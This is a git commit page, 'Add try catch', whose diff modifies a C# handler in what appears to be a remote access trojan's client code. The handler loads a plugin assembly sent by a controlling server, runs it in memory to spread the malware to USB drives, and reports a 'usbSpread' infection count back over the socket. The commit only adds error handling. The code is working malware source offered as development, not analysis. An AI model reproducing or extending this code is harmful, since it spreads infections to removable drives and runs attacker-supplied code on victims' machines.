Add try catch

This commit is contained in:
NYAN CAT 2019-06-17 12:11:58 +03:00
parent 79c990c492
commit c4b02e1531

View File

@ -1,5 +1,7 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Sockets;
using System;
using System.Diagnostics;
using System.Reflection; using System.Reflection;
// //
// │ Author : NYAN CAT // │ Author : NYAN CAT
@ -15,16 +17,24 @@ namespace Client.Handle_Packet
{ {
public HandleLimeUSB(MsgPack unpack_msgpack) public HandleLimeUSB(MsgPack unpack_msgpack)
{ {
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); try
MethodInfo meth = loader.GetType("HandleLimeUSB.HandleLimeUSB").GetMethod("Initialize");
object injObj = loader.CreateInstance(meth.Name);
int count = (int)meth.Invoke(injObj, null);
if (count > 0)
{ {
MsgPack msgpack = new MsgPack(); Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
msgpack.ForcePathObject("Packet").AsString = "usbSpread"; MethodInfo meth = loader.GetType("HandleLimeUSB.HandleLimeUSB").GetMethod("Initialize");
msgpack.ForcePathObject("Count").AsString = count.ToString(); object injObj = loader.CreateInstance(meth.Name);
ClientSocket.Send(msgpack.Encode2Bytes()); int count = (int)meth.Invoke(injObj, null);
if (count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.Send(msgpack.Encode2Bytes());
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
} }
} }
} }